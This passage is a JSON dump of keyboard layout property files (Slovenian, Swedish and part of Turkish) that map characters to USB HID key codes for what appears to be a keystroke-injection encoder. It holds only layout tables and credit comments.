MODIFIERKEY_SHIFT\t\t\t\t\r\n// 81 Q\r\nASCII_51 = KEY_Q, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 82 R\r\nASCII_52 = KEY_R, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 83 S\r\nASCII_53 = KEY_S, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 84 T\r\nASCII_54 = KEY_T, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 85 U\r\nASCII_55 = KEY_U, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 86 V\r\nASCII_56 = KEY_V, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 87 W\r\nASCII_57 = KEY_W, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 88 X\r\nASCII_58 = KEY_X, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 89 Y\r\nASCII_59 = KEY_Y, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 90 Z\r\nASCII_5A = KEY_Z, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 91 [ 93 ]\r\nASCII_5B = KEY_8, MODIFIERKEY_RIGHT_ALT\t\t\t\t\r\nASCII_5D = KEY_9, MODIFIERKEY_RIGHT_ALT\t\t\t\r\n// 94 ^ 126 ~\r\nASCII_5E = KEY_NON_US_NUM, MODIFIERKEY_SHIFT\r\nASCII_7E = KEY_NON_US_NUM\r\n// 96 `\r\nASCII_60 = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT\t\t\r\n// 97 a\r\nASCII_61 = KEY_A\r\n// 98 b\r\nASCII_62 = KEY_B\t\t\t\t\t\r\n// 99 c\r\nASCII_63 = KEY_C\r\n// 100 d\r\nASCII_64 = KEY_D\t\t\t\t\t\r\n// 101 e\r\nASCII_65 = KEY_E\t\t\t\t\t\r\n// 102 f\r\nASCII_66 = KEY_F\t\t\t\t\t\r\n// 103 g\r\nASCII_67 = KEY_G\t\t\t\t\t\r\n// 104 h\r\nASCII_68 = KEY_H\t\t\t\t\t\r\n// 105 i\r\nASCII_69 = KEY_I\t\t\t\t\t\r\n// 106 j\r\nASCII_6A = KEY_J\t\t\t\t\t\r\n// 107 k\r\nASCII_6B = KEY_K\t\t\t\t\t\r\n// 108 l\r\nASCII_6C = KEY_L\t\t\t\t\t\r\n// 109 m\r\nASCII_6D = KEY_M\t\t\t\t\r\n// 110 n\r\nASCII_6E = KEY_N\t\t\t\t\t\r\n// 111 o\r\nASCII_6F = KEY_O\t\t\t\t\t\r\n// 112 p\r\nASCII_70 = KEY_P\t\t\t\t\t\r\n// 113 q\r\nASCII_71 = KEY_Q\t\t\t\t\t\r\n// 114 r\r\nASCII_72 = KEY_R\t\t\t\t\t\r\n// 115 s\r\nASCII_73 = KEY_S\t\t\t\t\t\r\n// 116 t\r\nASCII_74 = KEY_T\t\t\t\t\t\r\n// 117 u\r\nASCII_75 = KEY_U\t\t\t\t\t\r\n// 118 v\r\nASCII_76 = KEY_V\t\t\t\t\t\r\n// 119 w\r\nASCII_77 = KEY_W\t\t\t\t\t\r\n// 120 x\r\nASCII_78 = KEY_X\t\t\t\t\t\r\n// 121 y\r\nASCII_79 = KEY_Y\t\t\t\t\t\r\n// 122 z\r\nASCII_7A = KEY_Z\t\t\t\t\t\r\n// 123 { 125 }\r\nASCII_7B = KEY_7, MODIFIERKEY_RIGHT_ALT\t\r\nASCII_7D = KEY_0, MODIFIERKEY_RIGHT_ALT\t\t\t\r\n// 124 | 92 \r\nASCII_7C = KEY_TILDE, MODIFIERKEY_SHIFT\t\r\nASCII_5C = KEY_TILDE\t\t\t\r\n// 127\r\nASCII_7F = KEY_BACKSPACE\r\n//231 ç 199 Ç\r\nISO_8859_1_E7 = KEY_SEMICOLON\r\nISO_8859_1_C7 = KEY_SEMICOLON, MODIFIERKEY_SHIFT\r\n//ºª\r\nISO_8859_1_BA = KEY_QUOTE\r\nISO_8859_1_AA = KEY_QUOTE, MODIFIERKEY_SHIFT\r\n// 167 § SECTION SIGN\r\nISO_8859_1_A7 = KEY_4, MODIFIERKEY_RIGHT_ALT\r\n// 163 £\r\nISO_8859_1_A3 = KEY_3, MODIFIERKEY_RIGHT_ALT\r\n// Euro Sign\r\nUNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT\r\n// 171 « 187 »\r\nISO_8859_1_AB = KEY_EQUAL\r\nISO_8859_1_BB = KEY_EQUAL, MODIFIERKEY_SHIFT\r\n"
  },
  {
    "path": "payloads/library/remote_access/duckNet/Encoder/resources/si.properties",
    "content": "//LAYOUT_SLOVENIAN\n//Translation by ziolity (01/08/2014) \n//Updated by ziolity on (03/08/2014) (small fix)\nKEY_NON_US_100 = 100\n\n// Nonbreakng Space\n// a b c č d e f g h i j k l m n o p r s š t u v z ž x y q w ć đ\nASCII_20 = KEY_SPACE\nASCII_61 = KEY_A\nASCII_62 = KEY_B\nASCII_63 = KEY_C\nUNICODE_10D = KEY_SEMICOLON\nASCII_64 = KEY_D\nASCII_65 = KEY_E\nASCII_66 = KEY_F\nASCII_67 = KEY_G\nASCII_68 = KEY_H\nASCII_69 = KEY_I\nASCII_6A = KEY_J\nASCII_6B = KEY_K\nASCII_6C = KEY_L\nASCII_6D = KEY_M\nASCII_6E = KEY_N\nASCII_6F = KEY_O\nASCII_70 = KEY_P\nASCII_72 = KEY_R\nASCII_73 = KEY_S\nUNICODE_161 = KEY_LEFT_BRACE\nASCII_74 = KEY_T\nASCII_75 = KEY_U\nASCII_76 = KEY_V\nASCII_7A = KEY_Y\nUNICODE_17E = KEY_BACKSLASH\nASCII_78 = KEY_X\nASCII_79 = KEY_Z\nASCII_71 = KEY_Q\nASCII_77 = KEY_W\nUNICODE_107 = KEY_QUOTE\nUNICODE_111 = KEY_RIGHT_BRACE\n// A B C Č D E F G H I J K L M N O P R S Š T U V Z Ž X Y Q W Ć Đ\nASCII_41 = KEY_A, MODIFIERKEY_SHIFT\nASCII_42 = KEY_B, MODIFIERKEY_SHIFT\nASCII_43 = KEY_C, MODIFIERKEY_SHIFT\nUNICODE_10C = KEY_SEMICOLON, MODIFIERKEY_SHIFT\nASCII_44 = KEY_D, MODIFIERKEY_SHIFT\nASCII_45 = KEY_E, MODIFIERKEY_SHIFT\nASCII_46 = KEY_F, MODIFIERKEY_SHIFT\nASCII_47 = KEY_G, MODIFIERKEY_SHIFT\nASCII_48 = KEY_H, MODIFIERKEY_SHIFT\nASCII_49 = KEY_I, MODIFIERKEY_SHIFT\nASCII_4A = KEY_J, MODIFIERKEY_SHIFT\nASCII_4B = KEY_K, MODIFIERKEY_SHIFT\nASCII_4C = KEY_L, MODIFIERKEY_SHIFT\nASCII_4D = KEY_M, MODIFIERKEY_SHIFT\nASCII_4E = KEY_N, MODIFIERKEY_SHIFT\nASCII_4F = KEY_O, MODIFIERKEY_SHIFT\nASCII_50 = KEY_P, MODIFIERKEY_SHIFT\nASCII_52 = KEY_R, MODIFIERKEY_SHIFT\nASCII_53 = KEY_S, MODIFIERKEY_SHIFT\nUNICODE_160 = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT\nASCII_54 = KEY_T, MODIFIERKEY_SHIFT\nASCII_55 = KEY_U, MODIFIERKEY_SHIFT\nASCII_56 = KEY_V, MODIFIERKEY_SHIFT\nASCII_5A = KEY_Y, MODIFIERKEY_SHIFT\nASCII_58 = KEY_X, MODIFIERKEY_SHIFT\nASCII_59 = KEY_Z, MODIFIERKEY_SHIFT\nUNICODE_17D = KEY_BACKSLASH, MODIFIERKEY_SHIFT\nASCII_51 = KEY_Q, MODIFIERKEY_SHIFT\nASCII_57 = KEY_W, MODIFIERKEY_SHIFT\nUNICODE_106 = KEY_QUOTE, MODIFIERKEY_SHIFT\nUNICODE_110 = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT\n// Symbols // ! \" # $ % & / ( ) = ? * < > , ; . : - _ [ ] ~ ` \\ | € ÷ × ł Ł ß ¤ { } § @\nASCII_21 = KEY_1, MODIFIERKEY_SHIFT\nASCII_22 = KEY_2, MODIFIERKEY_SHIFT\nASCII_23 = KEY_3, MODIFIERKEY_SHIFT\nASCII_24 = KEY_4, MODIFIERKEY_SHIFT\nASCII_25 = KEY_5, MODIFIERKEY_SHIFT\nASCII_26 = KEY_6, MODIFIERKEY_SHIFT\nASCII_2F = KEY_7, MODIFIERKEY_SHIFT\nASCII_28 = KEY_8, MODIFIERKEY_SHIFT\nASCII_29 = KEY_9, MODIFIERKEY_SHIFT\nASCII_3D = KEY_0, MODIFIERKEY_SHIFT\nASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT\nASCII_2A = KEY_EQUAL, MODIFIERKEY_SHIFT\nASCII_27 = KEY_MINUS\nASCII_2B = KEY_EQUAL\nASCII_7E = KEY_1, MODIFIERKEY_RIGHT_ALT\nASCII_60 = KEY_7, MODIFIERKEY_RIGHT_ALT\nASCII_5C = KEY_Q, MODIFIERKEY_RIGHT_ALT\nASCII_7C = KEY_W, MODIFIERKEY_RIGHT_ALT\nUNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT\nISO_8859_1_F7 = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT\nISO_8859_1_D7 = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT\nASCII_5B = KEY_F, MODIFIERKEY_RIGHT_ALT\nASCII_5D = KEY_G, MODIFIERKEY_RIGHT_ALT\nUNICODE_142 = KEY_K, MODIFIERKEY_RIGHT_ALT\nUNICODE_141 = KEY_L, MODIFIERKEY_RIGHT_ALT\nISO_8859_1_DF = KEY_QUOTE, MODIFIERKEY_RIGHT_ALT\nISO_8859_1_A4 = KEY_BACKSLASH, MODIFIERKEY_RIGHT_ALT\nASCII_3C = KEY_NON_US_100\nASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT\nASCII_40 = KEY_V, MODIFIERKEY_RIGHT_ALT\nASCII_7B = KEY_B, MODIFIERKEY_RIGHT_ALT\nASCII_7D = KEY_N, MODIFIERKEY_RIGHT_ALT\nASCII_2E = KEY_PERIOD\nASCII_2D = KEY_SLASH\nASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT\nASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT\nASCII_2C = KEY_COMMA\nASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT\nISO_8859_1_A7 = KEY_M, MODIFIERKEY_RIGHT_ALT\n// Not needed chars // input: ¸ ¨ ˇ ^ ˘ ° ˛ ˙ ´ ˝ ¨ ¸ output: ¸¨ˇ^˘°˛˙´˝¨¸ (notice no space!)\nISO_8859_1_B8 = KEY_TILDE\nISO_8859_1_A8 = KEY_TILDE, MODIFIERKEY_SHIFT\nUNICODE_2C7 = KEY_2, MODIFIERKEY_RIGHT_ALT\nASCII_5E = KEY_3, MODIFIERKEY_RIGHT_ALT\nUNICODE_2D8 = KEY_4, MODIFIERKEY_RIGHT_ALT\nISO_8859_1_B0 = KEY_5, MODIFIERKEY_RIGHT_ALT\nUNICODE_2DB = KEY_6, MODIFIERKEY_RIGHT_ALT\nUNICODE_2D9 = KEY_8, MODIFIERKEY_RIGHT_ALT\nISO_8859_1_B4 = KEY_9, MODIFIERKEY_RIGHT_ALT\nUNICODE_2DD = KEY_0, MODIFIERKEY_RIGHT_ALT\nISO_8859_1_A8 = KEY_MINUS, MODIFIERKEY_RIGHT_ALT\nISO_8859_1_B8 = KEY_EQUAL, MODIFIERKEY_RIGHT_ALT\n// Numbers: 0 1 2 3 4 5 6 7 8 9\nASCII_30 = KEY_0\nASCII_31 = KEY_1\nASCII_32 = KEY_2\nASCII_33 = KEY_3\nASCII_34 = KEY_4\nASCII_35 = KEY_5\nASCII_36 = KEY_6\nASCII_37 = KEY_7\nASCII_38 = KEY_8\nASCII_39 = KEY_9"
  },
  {
    "path": "payloads/library/remote_access/duckNet/Encoder/resources/sv.properties",
    "content": "//LAYOUT_SWEDISH\n//Credits go to r.hegazi & shalafi for patch (11/09/2013)\nKEY_NON_US_100 = 100\n\nASCII_20 = KEY_SPACE\n// 32  \nASCII_21 = KEY_1, MODIFIERKEY_SHIFT\n// 33 !\nASCII_22 = KEY_2, MODIFIERKEY_SHIFT\n// 34 \"\nASCII_23 = KEY_3, MODIFIERKEY_SHIFT\n// 35 #\nASCII_24 = KEY_4, MODIFIERKEY_RIGHT_ALT\n// 36 $\nASCII_25 = KEY_5, MODIFIERKEY_SHIFT\n// 37 %\nASCII_26 = KEY_6, MODIFIERKEY_SHIFT\n// 38 &\nASCII_27 = KEY_BACKSLASH\n// 39 '  \nASCII_28 = KEY_8, MODIFIERKEY_SHIFT\n// 40 ( \nASCII_29 = KEY_9, MODIFIERKEY_SHIFT\n// 41 )\nASCII_2A = KEY_BACKSLASH, MODIFIERKEY_SHIFT\n// 42 *\nASCII_2B = KEY_MINUS\n// 43 +\nASCII_2C = KEY_COMMA\n// 44 ,\nASCII_2D = KEY_SLASH\n// 45 -\nASCII_2E = KEY_PERIOD\n// 46 .\nASCII_2F = KEY_7, MODIFIERKEY_SHIFT\n// 47 /\nASCII_30 = KEY_0\n// 48 0\nASCII_31 = KEY_1\n// 49 1\nASCII_32 = KEY_2\n// 50 2\nASCII_33 = KEY_3\n// 51 3\nASCII_34 = KEY_4\n// 52 4\nASCII_35 = KEY_5\n// 53 5\nASCII_36 = KEY_6\n// 54 6\nASCII_37 = KEY_7\n// 55 7\nASCII_38 = KEY_8\n// 55 8\nASCII_39 = KEY_9\n// 57 9\nASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT\n// 58 :\nASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT\n// 59 ;\nASCII_3C = KEY_NON_US_100\n// 60 <\nASCII_3D = KEY_0, MODIFIERKEY_SHIFT\n// 61 =\nASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT\n// 62 >\nASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT\n// 63 ?\nASCII_40 = KEY_2, MODIFIERKEY_RIGHT_ALT\n// 64 @\nASCII_41 = KEY_A, MODIFIERKEY_SHIFT\n// 65 A\nASCII_42 = KEY_B, MODIFIERKEY_SHIFT\n// 66 B\nASCII_43 = KEY_C, MODIFIERKEY_SHIFT\n// 67 C\nASCII_44 = KEY_D, MODIFIERKEY_SHIFT\n// 68 D\nASCII_45 = KEY_E, MODIFIERKEY_SHIFT\n// 69 E\nASCII_46 = KEY_F, MODIFIERKEY_SHIFT\n// 70 F\nASCII_47 = KEY_G, MODIFIERKEY_SHIFT\n// 71 G\nASCII_48 = KEY_H, MODIFIERKEY_SHIFT\n// 72 H\nASCII_49 = KEY_I, MODIFIERKEY_SHIFT\n// 73 I\nASCII_4A = KEY_J, MODIFIERKEY_SHIFT\n// 74 J\nASCII_4B = KEY_K, MODIFIERKEY_SHIFT\n// 75 K\nASCII_4C = KEY_L, MODIFIERKEY_SHIFT\n// 76 L\nASCII_4D = KEY_M, MODIFIERKEY_SHIFT\n// 77 M\nASCII_4E = KEY_N, MODIFIERKEY_SHIFT\n// 78 N\nASCII_4F = KEY_O, MODIFIERKEY_SHIFT\n// 79 O\nASCII_50 = KEY_P, MODIFIERKEY_SHIFT\n// 80 P\nASCII_51 = KEY_Q, MODIFIERKEY_SHIFT\n// 81 Q\nASCII_52 = KEY_R, MODIFIERKEY_SHIFT\n// 82 R\nASCII_53 = KEY_S, MODIFIERKEY_SHIFT\n// 83 S\nASCII_54 = KEY_T, MODIFIERKEY_SHIFT\n// 84 T\nASCII_55 = KEY_U, MODIFIERKEY_SHIFT\n// 85 U\nASCII_56 = KEY_V, MODIFIERKEY_SHIFT\n// 86 V\nASCII_57 = KEY_W, MODIFIERKEY_SHIFT\n// 87 W\nASCII_58 = KEY_X, MODIFIERKEY_SHIFT\n// 88 X\nASCII_59 = KEY_Y, MODIFIERKEY_SHIFT\n// 89 Y\nASCII_5A = KEY_Z, MODIFIERKEY_SHIFT\n// 90 Z\nASCII_5B = KEY_8, MODIFIERKEY_RIGHT_ALT\n// 91 [\nASCII_5C = KEY_MINUS, MODIFIERKEY_RIGHT_ALT\n// 92 \nASCII_5D = KEY_9, MODIFIERKEY_RIGHT_ALT\n// 93 ]\nASCII_5E = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT\n// 94 ^\nASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT\n// 95 _\nASCII_60 = KEY_EQUAL, MODIFIERKEY_SHIFT\n// 96 `\nASCII_61 = KEY_A\n// 97 a\nASCII_62 = KEY_B\n// 98 b\nASCII_63 = KEY_C\n// 99 c\nASCII_64 = KEY_D\n// 100 d\nASCII_65 = KEY_E\n// 101 e\nASCII_66 = KEY_F\n// 102 f\nASCII_67 = KEY_G\n// 103 g\nASCII_68 = KEY_H\n// 104 h\nASCII_69 = KEY_I\n// 105 i\nASCII_6A = KEY_J\n// 106 j\nASCII_6B = KEY_K\n// 107 k\nASCII_6C = KEY_L\n// 108 l\nASCII_6D = KEY_M\n// 109 m\nASCII_6E = KEY_N\n// 110 n\nASCII_6F = KEY_O\n// 111 o\nASCII_70 = KEY_P\n// 112 p\nASCII_71 = KEY_Q\n// 113 q\nASCII_72 = KEY_R\n// 114 r\nASCII_73 = KEY_S\n// 115 s\nASCII_74 = KEY_T\n// 116 t\nASCII_75 = KEY_U\n// 117 u\nASCII_76 = KEY_V\n// 118 v\nASCII_77 = KEY_W\n// 119 w\nASCII_78 = KEY_X\n// 120 x\nASCII_79 = KEY_Y\n// 121 y\nASCII_7A = KEY_Z\n// 122 z\nASCII_7B = KEY_7, MODIFIERKEY_RIGHT_ALT\n// 123 {\nASCII_7C = KEY_NON_US_100, MODIFIERKEY_RIGHT_ALT\n// 124 |\nASCII_7D = KEY_0, MODIFIERKEY_RIGHT_ALT\n// 125 }\n//ASCII_7E = TILDE_BITS + KEY_SPACE\n// 126 ~\nASCII_7F = KEY_BACKSPACE\n// 127\n\nISO_8859_1_A0 = KEY_SPACE\n// 160       Nonbreakng Space\nISO_8859_1_A3 = KEY_3, MODIFIERKEY_RIGHT_ALT\n// 163 £     Pound Sign\nISO_8859_1_A4 = KEY_4, MODIFIERKEY_SHIFT\n// 164 ¤     Currency Sign\nISO_8859_1_A7 = KEY_TILDE\n// 167 §     SECTION SIGN\n//ISO_8859_1_A8 = DIAERESIS_BITS + KEY_SPACE\n// 168 ¨     DIAERESIS\nISO_8859_1_AB = KEY_4\n// 171 «     LEFT DOUBLE ANGLE QUOTE\n//ISO_8859_1_B4 = ACUTE_ACCENT_BITS + KEY_SPACE\n// 180 ´     ACUTE ACCENT\nISO_8859_1_B5 = KEY_M, MODIFIERKEY_RIGHT_ALT\n// 181 µ     MICRO SIGN\nISO_8859_1_BD = KEY_TILDE, MODIFIERKEY_SHIFT\n// 189 ½     FRACTION ONE HALF\n//ISO_8859_1_C0 = GRAVE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT\n// 192 À     A GRAVE\n//ISO_8859_1_C1 = ACUTE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT\n// 193 Á     A ACUTE\n//ISO_8859_1_C2 = CIRCUMFLEX_BITS + KEY_A, MODIFIERKEY_SHIFT\n// 194 Â     A CIRCUMFLEX\n//ISO_8859_1_C3 = TILDE_BITS + KEY_A, MODIFIERKEY_SHIFT\n// 195 Ã     A TILDE\nISO_8859_1_C4 = KEY_QUOTE, MODIFIERKEY_SHIFT\n// 196 Ä     A DIAERESIS\nISO_8859_1_C5 = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT\n// 197 Å     A RING ABOVE\n//ISO_8859_1_C8 = GRAVE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT\n// 200 È     E GRAVE\n//ISO_8859_1_C9 = ACUTE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT\n// 201 É     E ACUTE\n//ISO_8859_1_CA = CIRCUMFLEX_BITS + KEY_E, MODIFIERKEY_SHIFT\n// 202 Ê     E CIRCUMFLEX\n//ISO_8859_1_CB = DIAERESIS_BITS + KEY_E, MODIFIERKEY_SHIFT\n// 203 Ë     E DIAERESIS\n//ISO_8859_1_CC = GRAVE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT\n// 204 Ì     I GRAVE\n//ISO_8859_1_CD = ACUTE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT\n// 205 Í     I ACUTE\n//ISO_8859_1_CE = CIRCUMFLEX_BITS + KEY_I, MODIFIERKEY_SHIFT\n// 206 Î     I CIRCUMFLEX\n//ISO_8859_1_CF = DIAERESIS_BITS + KEY_I, MODIFIERKEY_SHIFT\n// 207 Ï     I DIAERESIS\n//ISO_8859_1_D0 = KEY_D, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT\n// 208 Ð     ETH\n//ISO_8859_1_D1 = TILDE_BITS + KEY_N, MODIFIERKEY_SHIFT\n// 209 Ñ     N TILDE\n//ISO_8859_1_D2 = GRAVE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT\n// 210 Ò     O GRAVE\n//ISO_8859_1_D3 = ACUTE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT\n// 211 Ó     O ACUTE\n//ISO_8859_1_D4 = CIRCUMFLEX_BITS + KEY_O, MODIFIERKEY_SHIFT\n// 212 Ô     O CIRCUMFLEX\n//ISO_8859_1_D5 = TILDE_BITS + KEY_O, MODIFIERKEY_SHIFT\n// 213 Õ     O TILDE\nISO_8859_1_D6 = KEY_SEMICOLON, MODIFIERKEY_SHIFT\n// 214 Ö     O DIAERESIS\n//ISO_8859_1_D9 = GRAVE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT\n// 217 Ù     U GRAVE\n//ISO_8859_1_DA = ACUTE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT\n// 218 Ú     U ACUTE\n//ISO_8859_1_DB = CIRCUMFLEX_BITS + KEY_U, MODIFIERKEY_SHIFT\n// 219 Û     U CIRCUMFLEX\n//ISO_8859_1_DC = DIAERESIS_BITS + KEY_U, MODIFIERKEY_SHIFT\n// 220 Ü     U DIAERESIS\n//ISO_8859_1_DD = ACUTE_ACCENT_BITS + KEY_Y, MODIFIERKEY_SHIFT\n// 221 Ý     Y ACUTE\n//ISO_8859_1_DE = KEY_T, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT\n// 222 Þ     THORN\nISO_8859_1_DF = KEY_S, MODIFIERKEY_RIGHT_ALT\n// 223 ß     SHARP S\n//ISO_8859_1_E0 = GRAVE_ACCENT_BITS + KEY_A\n// 224 à     a GRAVE\n//ISO_8859_1_E1 = ACUTE_ACCENT_BITS + KEY_A\n// 225 á     a ACUTE\n//ISO_8859_1_E2 = CIRCUMFLEX_BITS + KEY_A\n// 226 â     a CIRCUMFLEX\n//ISO_8859_1_E3 = TILDE_BITS + KEY_A\n// 227 ã     a TILDE\nISO_8859_1_E4 = KEY_QUOTE\n// 228 ä     a DIAERESIS\nISO_8859_1_E5 = KEY_LEFT_BRACE\n// 229 å     a RING ABOVE\n//ISO_8859_1_E8 = GRAVE_ACCENT_BITS + KEY_E\n// 232 è     e GRAVE\n//ISO_8859_1_E9 = ACUTE_ACCENT_BITS + KEY_E\n// 233 é     e ACUTE\n//ISO_8859_1_EA = CIRCUMFLEX_BITS + KEY_E\n// 234 ê     e CIRCUMFLEX\n//ISO_8859_1_EB = DIAERESIS_BITS + KEY_E\n// 235 ë     e DIAERESIS\n//ISO_8859_1_EC = GRAVE_ACCENT_BITS + KEY_I\n// 236 ì     i GRAVE\n//ISO_8859_1_ED = ACUTE_ACCENT_BITS + KEY_I\n// 237 í     i ACUTE\n//ISO_8859_1_EE = CIRCUMFLEX_BITS + KEY_I\n// 238 î     i CIRCUMFLEX\n//ISO_8859_1_EF = DIAERESIS_BITS + KEY_I\n// 239 ï     i DIAERESIS\nISO_8859_1_F0 = KEY_D, MODIFIERKEY_RIGHT_ALT\n// 240 ð     ETH\n//ISO_8859_1_F1 = TILDE_BITS + KEY_N\n// 241 ñ     n TILDE\n//ISO_8859_1_F2 = GRAVE_ACCENT_BITS + KEY_O\n// 242 ò     o GRAVE\n//ISO_8859_1_F3 = ACUTE_ACCENT_BITS + KEY_O\n// 243 ó     o ACUTE\n//ISO_8859_1_F4 = CIRCUMFLEX_BITS + KEY_O\n// 244 ô     o CIRCUMFLEX\n//ISO_8859_1_F5 = TILDE_BITS + KEY_O\n// 245 õ     o TILDE\nISO_8859_1_F6 = KEY_SEMICOLON\n// 246 ö     o DIAERESIS\n//ISO_8859_1_F9 = GRAVE_ACCENT_BITS + KEY_U\n// 249 ù     u GRAVE\n//ISO_8859_1_FA = ACUTE_ACCENT_BITS + KEY_U\n// 250 ú     u ACUTE\n//ISO_8859_1_FB = CIRCUMFLEX_BITS + KEY_U\n// 251 û     u CIRCUMFLEX\n//ISO_8859_1_FC = DIAERESIS_BITS + KEY_U\n// 252 ü     u DIAERESIS\n//ISO_8859_1_FD = ACUTE_ACCENT_BITS + KEY_Y\n// 253 ý     y ACUTE\nISO_8859_1_FE = KEY_T, MODIFIERKEY_RIGHT_ALT\n// 254 þ     THORN\n//ISO_8859_1_FF = DIAERESIS_BITS + KEY_Y\n// 255 ÿ     y DIAERESIS\nUNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT\n//     €     Euro Sign\n\n"
  },
  {
    "path": "payloads/library/remote_access/duckNet/Encoder/resources/tr.properties",
    "content": "// Turkish Layout\n// By gokhanokur44\n\n// 32 \nASCII_20 = KEY_SPACE\t\t\t\t\t\n // 33 !\nASCII_21 = KEY_1, MODIFIERKEY_SHIFT\t\t\t\t\t\n// 34 \"\nASCII_22 = KEY_TILDE\t\t\t\t\t\n// 35 #\nASCII_23 = KEY_3, MODIFIERKEY_RIGHT_ALT\t\t\t\t\n// 36 $\nASCII_24 = KEY_4, MODIFIERKEY_RIGHT_ALT\t\t\t\t\n// 37 %\nASCII_25 = KEY_5, MODIFIERKEY_SHIFT\t\t\t\n// 38 &\nASCII_26 = KEY_7, MODIFIERKEY_SHIFT\t\t\t\t\t\n// 39 '  \nASCII_27 = KEY_2, MODIFIERKEY_SHIFT\t\t\t\n// 40 ( \nASCII_28 = KEY_8, MODIFIERKEY_SHIFT\t\t\t\t\n// 41 )\nASCII_29 = KEY_9, MODIFIERKEY_SHIFT\t\t\t\n// 42 *\nASCII_2A = KEY_MINUS\t\t\n// 43 +\nASCII_2B = KEY_4, MODIFIERKEY_SHIFT\t\t\t\n// 44 ,\nASCII_2C = KEY_BACKSLASH\t\t\t\n// 45 -\nASCII_2D = KEY_EQUAL\t\t\t\t\n// 46 .\nASCII_2E = KEY_SLASH\t\t\t\n// 47 /\nASCII_2F = KEY_7, MODIFIERKEY_SHIFT\t\t\t\n// 48 0\nASCII_30 = KEY_0\t\t\t\t\n// 49 1\nASCII_31 = KEY_1\t\t\t\t\n// 50 2\nASCII_32 = KEY_2\t\t\t\t\n// 51 3\nASCII_33 = KEY_3\t\t\t\t\n// 52 4\nASCII_34 = KEY_4\t\t\t\t\n// 53 5\nASCII_35 = KEY_5\t\t\t\t\n// 54 6\nASCII_36 = KEY_6\t\t\t\t\n// 55 7\nASCII_37 = KEY_7\t\t\t\t\n// 55 8\nASCII_38 = KEY_8\t\t\t\t\n// 57 9\nASCII_39 = KEY_9\t\t\t\t\n// 58 :\nASCII_3A = KEY_SLASH, MODIFIERKEY_SHIFT\t\t\t\t\t\n// 59 ;\nASCII_3B = KEY_BACKSLASH, MODIFIERKEY_SHIFT\t\t\n// 60 <\nASCII_3C = KEY_COMMA, MODIFIERKEY_SHIFT\t\t\t\n// 61 =\nASCII_3D = KEY_0, MODIFIERKEY_SHIFT\t\t\t\t\t\n// 62 >\nASCII_3E = KEY_PERIOD, MODIFIERKEY_SHIFT\t\t\t\n// 63 ?\nASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT\t\t\t\t\n// 64 @\nASCII_40 = KEY_Q, MODIFIERKEY_RIGHT_ALT\t\t\t\t\n// 65 A\nASCII_41 = KEY_A, MODIFIERKEY_SHIFT\n// 66 B\nASCII_42 = KEY_B, MODIFIERKEY_SHIFT\t\t\t\t\n// 67 C\nASCII_43 = KEY_C, MODIFIERKEY_SHIFT\t\t\t\t\n// 68 D\nASCII_44 = KEY_D, MODIFIERKEY_SHIFT\t\t\t\t\n// 69 E\nASCII_45 = KEY_E, MODIFIERKEY_SHIFT\t\t\t\t\n// 70 F\nASCII_46 = KEY_F, MODIFIERKEY_SHIFT\t\t\t\t\n// 71 G\nASCII_47 = KEY_G, MODIFIERKEY_SHIFT\t\t\t\t\n// 72 H\nASCII_48 = KEY_H, MODIFIERKEY_SHIFT\t\t\t\t\n// 73 I\nASCII_49 = KEY_I, MODIFIERKEY_SHIFT\t\t\t\t\n// 74 J\nASCII_4A = KEY_J, MODIFIERKEY_SHIFT\t\t\t\t\n// 75 K\nASCII_4B = KEY_K, MODIFIERKEY_SHIFT\t\t\t\t\n// 76 L\nASCII_4C = KEY_L, MODIFIERKEY_SHIFT\t\t\t\t\n// 77 M\nASCII_4D = KEY_M, MODIFIERKEY_SHIFT\t\t\t\n// 78 N\nASCII_4E = KEY_N, MODIFIERKEY_SHIFT\t\t\t\t\n// 79 O\nASCII_4F = KEY_O, MODIFIERKEY_SHIFT\t\t\t\t\n// 80 P\nASCII_50 = KEY_P, MODIFIERKEY_SHIFT\t\t\t\t\n// 81 Q\nASCII_51 = KEY_Q, MODIFIERKEY_SHIFT\t\t\t\t\n// 82 R\nASCII_52 = KEY_R, MODIFIERKEY_SHIFT\t\t\t\t\n// 83 S\nASCII_53 = KEY_S, MODIFIERKEY_SHIFT\t\t\t\t\n// 84 T\nASCII_54 = KEY_T, 